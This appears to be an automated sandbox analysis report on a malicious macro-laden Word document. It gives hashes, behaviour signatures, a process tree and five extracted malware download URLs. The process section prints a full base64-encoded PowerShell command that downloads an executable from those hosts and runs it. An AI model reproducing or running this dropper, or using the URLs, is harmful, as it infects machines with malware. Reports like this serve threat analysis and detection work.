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Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    28/05/2024, 21:56

General

  • Target

    7e895654aba06b703d991d70ff2a8743_JaffaCakes118.doc

  • Size

    173KB

  • MD5

    7e895654aba06b703d991d70ff2a8743

  • SHA1

    c8cbdf2e96e8179890124ce992eb8e7e23b399e1

  • SHA256

    ea9dfb49de29351fb9fae1e80177b3ed473f9229e5da8e2ae5eea121deb29760

  • SHA512

    1e3c3db5893d10d322fd3cba2d46e1a54d575e76e6db716a7971a545e8e1454640c90a263364676b0a2dd4196c5ac86f216e16a1988d1207d807bb6c4d239f0b

  • SSDEEP

    3072:fNw4PrXcuQuvpzm4bkiaMQgAlSKQg0g3Owsq:bDRv1m4bnQgISKQg0gewsq

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://52550750-56-20180826151453.webstarterz.com/savewayexpressthai.com/jnze_2o3j_k/

exe.dropper

http://oubaina.com/wp-includes/lqkz_nvr_1avf4/

exe.dropper

https://www.msbc.kz/data/k527_5_cbdvv5bi19/

exe.dropper

http://okcupidating.com/im/fsq_esj_qgx060p/

exe.dropper

http://bike-nomad.com/cgi-bin/7n_0x0_62mnzyh9q/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7e895654aba06b703d991d70ff2a8743_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2108
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2496
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABPAGcAbwB1AF8ANQAxAD0AKAAnAFEAdAA3ACcAKwAnADEAJwArACcAdABsADUAJwApADsALgAoACcAbgBlACcAKwAnAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAFYAOgB0AEUAbQBwAFwATwBGAEYASQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAVQByAGkAVAB5AGAAUAByAE8AVABgAE8AQwBgAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAxADIAJwArACcALAAgACcAKwAnAHQAbABzACcAKwAnADEAMQAsACAAdABsAHMAJwApADsAJABRAGEAawBmAG8AMABxACAAPQAgACgAJwBaADAAJwArACcAZgB2ADMAawBiAGcAJwApADsAJABCAHIAdgAzADUAcgBzAD0AKAAnAEUANgBoACcAKwAnADQAJwArACcAbgBrAG4AJwApADsAJABFAGMAOQB3ADQAZQAwAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBOACcAKwAnADMAcABPACcAKwAnAGYAZgBpAGMAZQAyADAAMQA5AE4AMwAnACsAJwBwACcAKQAuACIAcgBlAGAAUABsAGAAQQBjAEUAIgAoACcATgAzAHAAJwAsAFsAcwBUAHIAaQBOAGcAXQBbAEMASABhAFIAXQA5ADIAKQApACsAJABRAGEAawBmAG8AMABxACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABaAF8AagBqAGkAMwBtAD0AKAAnAE8AZwBwADUAJwArACcANwB3ACcAKwAnAGoAJwApADsAJABZADcAagBtAHgAegA4AD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABJAG4AbgBlAHcAYwBfAD0AKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKwAnAC8ANQAnACsAJwAyACcAKwAnADUAJwArACcANQAnACsAJwAwACcAKwAnADcANQAwAC0ANQAnACsAJwA2ACcAKwAnAC0AMgAwADEAOAAwADgAMgAnACsAJwA2ADEANQAxACcAKwAnADQANQAnACsAJwAzACcAKwAnAC4AdwBlACcAKwAnAGIAcwB0AGEAcgB0AGUAJwArACcAcgB6ACcAKwAnAC4AYwAnACsAJwBvAG0ALwBzAGEAJwArACcAdgAnACsAJwBlAHcAYQB5AGUAeABwAHIAZQBzAHMAdABoAGEAaQAnACsAJwAuACcAKwAnAGMAbwBtAC8AagAnACsAJwBuACcAKwAnAHoAZQBfADIAbwAnACsAJwAzAGoAXwBrAC8AKgBoAHQAdAAnACsAJwBwADoALwAvAG8AdQBiAGEAaQBuAGEALgAnACsAJwBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAnAHcAJwArACcAcAAnACsAJwAtAGkAJwArACcAbgBjAGwAdQBkACcAKwAnAGUAcwAnACsAJwAvAGwAcQBrAHoAXwBuACcAKwAnAHYAcgBfACcAKwAnADEAYQAnACsAJwB2AGYANAAvACoAaAAnACsAJwB0ACcAKwAnAHQAcABzADoALwAnACsAJwAvAHcAdwB3AC4AbQBzAGIAYwAnACsAJwAuAGsAegAnACsAJwAvAGQAYQB0AGEALwBrACcAKwAnADUAJwArACcAMgA3AF8ANQAnACsAJwBfAGMAYgAnACsAJwBkAHYAdgA1AGIAaQAxADkALwAqAGgAdAB0AHAAOgAvAC8AbwAnACsAJwBrACcAKwAnAGMAJwArACcAdQAnACsAJwBwAGkAJwArACcAZABhAHQAaQBuAGcALgBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAnAGkAbQAvACcAKwAnAGYAcwBxACcAKwAnAF8AZQAnACsAJwBzACcAKwAnAGoAJwArACcAXwAnACsAJwBxACcAKwAnAGcAJwArACcAeAAwADYAJwArACcAMABwAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAGIAJwArACcAaQBrAGUALQBuAG8AbQAnACsAJwBhAGQALgBjAG8AbQAvAGMAZwBpAC0AJwArACcAYgAnACsAJwBpACcAKwAnAG4ALwA3AG4AXwAwACcAKwAnAHgAJwArACcAMABfADYAMgBtACcAKwAnAG4AegAnACsAJwB5ACcAKwAnAGgAJwArACcAOQAnACsAJwBxAC8AJwApAC4AIgBzAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAZQA4AG4AZQBnADQAPQAoACcASwAnACsAJwB5ACcAKwAnAG0AcgB3ADkAdwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABNAHMAdQBvAG4AaAA4ACAAaQBuACAAJABJAG4AbgBlAHcAYwBfACkAewB0AHIAeQB7ACQAWQA3AGoAbQB4AHoAOAAuACIARABvAFcAYABOAEwAbwBBAGQAYABGAGkAYABMAEUAIgAoACQATQBzAHUAbwBuAGgAOAAsACAAJABFAGMAOQB3ADQAZQAwACkAOwAkAFUAaQAzAGwANAA5AGcAPQAoACcARABvACcAKwAnAGgAeABiACcAKwAnAHoAZwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAgACQARQBjADkAdwA0AGUAMAApAC4AIgBsAEUAbgBnAGAAVABoACIAIAAtAGcAZQAgADMAMQA0ADUAMQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABFAGMAOQB3ADQAZQAwACkAOwAkAEMAdwBpAG8AXwBoADUAPQAoACcARQAnACsAJwA2AHYAcAA3AHYAdwAnACkAOwBiAHIAZQBhAGsAOwAkAFQAYQB5ADUAMABsAGsAPQAoACcAUABoADEAMABnACcAKwAnAGIAMQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUANwB0AG0AbgBrADQAPQAoACcAWQBlAHcAYwB3ACcAKwAnADgAJwArACcAawAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2776

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      e05d390ed95b1876769d84b00e7c806a

      SHA1

      b76363a7a9beff3adec2da0cd4d83f1e0d179d9b

      SHA256

      9e00c24ed42b6146ee11ff1b6e6edf9343e6466719601453c5cbd5090a5003d3

      SHA512

      2c5c671d3f2c34877efdefd1f42cfd597382e4d05571d1f1de81f2ff7f9ce438cd6769646c810c5831bfeaeb50b658847e0cba473248af040932ef0516303d8b

    • memory/2108-35-0x0000000005A80000-0x0000000005B80000-memory.dmp

      Filesize

      1024KB

    • memory/2108-46-0x0000000070A8D000-0x0000000070A98000-memory.dmp

      Filesize

      44KB

    • memory/2108-7-0x0000000005A80000-0x0000000005B80000-memory.dmp

      Filesize

      1024KB

    • memory/2108-17-0x0000000005A80000-0x0000000005B80000-memory.dmp

      Filesize

      1024KB

    • memory/2108-26-0x0000000005A80000-0x0000000005B80000-memory.dmp

      Filesize

      1024KB

    • memory/2108-37-0x0000000005A80000-0x0000000005B80000-memory.dmp

      Filesize

      1024KB

    • memory/2108-2-0x0000000070A8D000-0x0000000070A98000-memory.dmp

      Filesize

      44KB

    • memory/2108-65-0x0000000070A8D000-0x0000000070A98000-memory.dmp

      Filesize

      44KB

    • memory/2108-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2108-0-0x000000002F071000-0x000000002F072000-memory.dmp

      Filesize

      4KB

    • memory/2108-36-0x0000000005A80000-0x0000000005B80000-memory.dmp

      Filesize

      1024KB

    • memory/2108-47-0x0000000005A80000-0x0000000005B80000-memory.dmp

      Filesize

      1024KB

    • memory/2108-48-0x0000000005CC0000-0x0000000005DC0000-memory.dmp

      Filesize

      1024KB

    • memory/2108-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2776-43-0x000000001B660000-0x000000001B942000-memory.dmp

      Filesize

      2.9MB

    • memory/2776-44-0x0000000002860000-0x0000000002868000-memory.dmp

      Filesize

      32KB